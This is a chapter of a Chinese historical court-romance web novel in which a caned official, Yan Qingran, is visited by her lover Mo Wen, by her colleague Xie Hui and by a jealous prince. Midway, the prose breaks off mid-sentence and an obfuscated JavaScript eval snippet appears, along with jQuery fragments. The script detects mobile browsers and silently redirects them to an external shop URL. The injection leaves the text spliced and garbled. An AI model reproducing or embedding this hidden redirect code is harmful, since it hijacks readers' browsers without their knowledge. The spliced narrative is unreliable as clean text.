裴燕是在门口遇上的谢慧。
谢慧身边是一个风姿卓然的郎君,她初看一眼,只觉得有些眼熟。
看他身后还站着个两手拎满东西的小童,想来也是特意来看望晏青染的。
她和谢慧算不上多熟,只遥遥拜了拜,便擦身而过。
坐上车她才想起,为何觉得那郎君眼熟了,分明就几分肖似郑国公。
若她所猜没错,这应该就是郑国公家三年前找回来的长子,也是跟谢慧定了亲的那位。
她这时也想起来一则传闻,说是当年送这位国公府嫡长子回京的就是晏青染,如今看来,多半就是真的。
不然谢慧跟晏青染又没什么私下交往,今儿上门拜访,多半还是看的她这位未婚夫的面子。
刚将整件事串联成一条线,外头就传来家中老仆的声音:“大人,是皇家的马车。”
裴燕连忙掀了帘子去看,马车外头虽低调的很,但左右挂的灯笼却是皇家的制式。
这是九皇子姬兰序的马车。
裴燕顿时有些后悔出来早了。
不过看他此时还能出宫往晏宅去,她心中又只剩感叹,陛下对这位还真是宠爱至极。
晏妹子这下怕是不想娶都难了。
······
等裴燕走了,谢慧几人才进了晏宅。
范陈守在二门边,见他们过来,连忙迎了上去。
迎的却不是谢慧和云舟,而是跟在他们后面的小童。
“莫郎君,东西给属下吧。”
那小童依言将手中拎着的礼盒全交了出去,头微微抬起,露出一张温婉素静的脸来。
不是那莫问是谁?
他先了谢慧和云舟一步,进了屋子,却在看清趴在床上的人时,再也抑制不住,掩面而哭。
“别,别哭,我没事。”晏青染语无伦次。
一看到他哭,她的心比伤了的腚还痛。
云舟刚跨进了门,又拉着谢慧退了出去,给他们二人留了空间。
“过来。”晏青染看他站在门边哭,想给他擦泪都做不到。
莫问依言过去,坐在她身边。
晏青染笑着安慰道:“我真没事,就是看着吓人了些。”
莫问哆嗦着手,想要去看,被晏青染一把抓住。
“别,”她有些难为情,“难看。”
莫问不说话,只睁着一双含泪的眼朝她看。
晏青染到底还是没拗的过他,撇开头去。
“看吧看吧。”
两人虽亲密无间,但大白天的就给他看自己的腚,委实还有些羞涩。
莫问却没她这旖旎心思。
待亲眼看到那被打得血肉模糊的臀部时,哭得更加厉害。
云舟告诉他,她在宫中遭了板子,被人抬回晏宅的时候,他只觉得天都塌了。
纵然早听说了其他几人也遭了板子的事,但她也被打了,他总觉得无法接受。
更何况别人都是二十板子,到她这儿,怎么就变成了三十板子?
皇帝不是爱重她?九皇子不是也喜欢她?难道这一切都是假的不成。
“别哭,别哭,”晏青染看到他哭得上气不接下气,心都碎了,“我真的不疼,真的一点......嘶。”
动作牵引地太大,晏青染算是搬起石头砸自己的脚,疼得差点背过气。
“你别动,”看她疼得冷汗淋漓,莫问连忙收了泪势,将眼泪擦了,“我不哭了就是。”
虽嘴上说着不哭了,但眼泪还是止不住,越擦越多。
晏青染看着心疼,却也知道,或许让他好好地哭一场才是对的。
至少让他先将情绪发泄出去。
她嘴角勾起淡淡的笑,朝他招了招手。
“过来。”
“我帮你擦。”
莫问将头凑向她。
晏青染比划了一下,又道:“再过来一些。”
她示意了一下后面,笑道:“你知道的,还是有些疼的。”
莫问被她这样逗得破涕而笑,又往她靠近了一些。
晏青染抬手慢慢地将他脸上的泪水擦拭干净,然后抓着他的手贴在脸颊上。
“其实挺疼的,真的很疼。”
“但是比起这点疼,我更怕看到你的眼泪。”
“阿问,”晏青染蹭了蹭他的手心,“往好处想想,这顿板子其实也不亏,至少接下来十天半个月我都不用上朝了。”
“你既然来了,就留下来陪我好不好?”
“范陈那个粗娘子,上药都粗手粗脚的,你留下来帮我每日上药好不好?”
“嗯,好。”莫问点头应下。
他本也没打算丢下她。
晏青染听他应下,高兴地眼角都弯了。
她还想再说什么,门口云舟突然跑了进来:“快别腻歪了,九皇子来了。”
莫问惊得一下子抽回了手,晏青染一个不防,又龇牙咧嘴了一番。
莫问愧疚地看向她,眼泪又有了决堤之势。
云舟却没容他俩再温存,过来拉了莫问就往外走:“先出去找个地方躲躲。”
“待那位九皇子走了,你俩再继续。”
晏青染甚至都还未来得及说话,莫问就被云舟拉出了门。
谢慧没跟着离开,反是一脚踏了进来。
“是不是觉得很荒唐?”她一针见血,说到了晏青染心坎儿上。
是啊,很荒唐,明明她和阿问才是正儿八经的一对,可姬兰序一来,莫问就要躲开。
岂止是荒唐两字可言。
谢慧看她神情失落,也只能摇了摇头。
看今天这一下午的趋势,她如今已是骑虎难下。
姬兰序怕不是她不想娶就能不娶的了。
走至床头,谢慧往她屁股上扫了一眼,又掀开薄被看了一下。
“你干嘛?”晏青染反应有些激烈,又牵动了伤口。
谢慧没解释,只说了两个字:“果然。”
晏青染忍住爆粗口的冲动,皱眉道:“什么果然?”
谢慧笑道:“你知道专职刑司的宫人手上都有一个特殊的技艺,那就是什么样的板子落下来,外面看着还好好的,但其实已经伤了筋骨。”
“相反,外面看着血肉模糊,但其实也就是皮肉之伤。”
晏青染眉头皱得更加紧。
她当然知道,只是没往那处去想。
谢慧又笑了笑:“听说翰林院的那几位大人,有一位是当场晕厥了的。”
她没多说下去,因为外头传来了脚步声。
随后云苓将姬兰序引了进来。
“谢少卿?”甫一看到她,姬兰序有些震惊,“你怎么会在这儿?”
谢慧规正的行了个礼,“九殿下。”
然后解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696766|203116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
释:“微臣也是听说晏学士被打了板子,故而来探望一下。”
姬兰序往屋内扫视一圈,视线再回到她脸上,神色却是淡淡的:“哦,是吗?”
“本殿倒不知你何时跟她关系这么好了。”
谢慧张了张口,只是人显然没将她当回事,直接走到床边。
他的贴身侍从眼疾手快,端了绣凳送到他身后:“殿下请坐。”
姬兰序依言坐下,这才对着晏青染开口:“我来看看你。”
声音是前所未有的温柔,跟对着谢慧时,完全不是一个语气。
谢慧有些瞠目结舌。
她幼时曾进宫做过皇女伴读,所以对姬兰序也还算熟悉。
外人都说九皇子是顶好的性格,好服侍,也不苛待宫人,偏偏她觉得这人假的很,见谁都一副面孔。
可今天她一次性就在他脸上见识了两种截然不同的表情。
对着她,很淡漠,眼底似乎还带着一些讥讽。
对上晏青染,笑还是那个笑,偏带了几分认真,还有几分小心翼翼。
“多谢殿下,”晏青染笑意未达眼角,“只是微臣今天怕是不能给您请安了。”
姬兰序摇摇头:“不用。”
“说起来你被打板子,我也有一半的错。”
“若非我......”
他解释到一半,突然顿住。
“谢少卿不忙?”
谢慧突然被他点到,还有些懵。
“还好。”良久,她回了一句。
姬兰序见她装傻,索性直言:“谢少卿看也看过了,该告辞了。”
“本殿与晏学士说话,不喜欢有人盯着。”
谢慧张大了嘴,朝晏青染看去。
晏青染双手合十,显然是想让她留下来的。
“还有,”姬兰序却是眼神一冷,“谢少卿既与郑国公家的那位定了亲,便将人给看好了,莫要碗里吃着,还惦念着别人的东西。”
这番说辞一出,谢慧与晏青染两人皆变了脸。
谢慧拱手道:“虽不知舟儿什么时候得罪了殿下,但他有自己的社交,我相信他,也不会干涉他。”
姬兰序没想到她丝毫颜面不给,当下也是气笑了:“好好好。”
“几年不见,没成想谢少卿竟心宽到如此地步。”
“那便算本殿多管闲事了。”
“只不过,”他话题一转,“本殿倒不知大理寺如今这般清闲,待回了宫,本殿自会去向母皇建议,能者多劳,大理寺亦可分担部分刑部要案,毕竟我那在刑部做事的表姐整日忙得人仰马翻,少卿大人却能在这儿闲聊家常,实在是不够公平。”
威胁,赤裸裸的威胁。
偏谢慧还找不出任何搪塞之言。
她一咬牙,冷冷道了一句:“行,殿下够狠。”
她转而看向晏青染,一副爱莫能助的模样:“你好好养伤,等我大理寺什么时候不忙了,我再来看你。”
晏青染皮笑肉不笑得看着她离去。
进而看向姬兰序,连表面工夫也不愿做了。
“殿下何必如此?”
“你在怪我?”姬兰序刚被谢慧阴阳了,心气儿本就不顺,此时看她沉着脸,也十分不快。
“你到底是在替她打抱不平,还是替她那位定了亲的郑家大郎君不平?”
“晏青染,你到底有没有心?”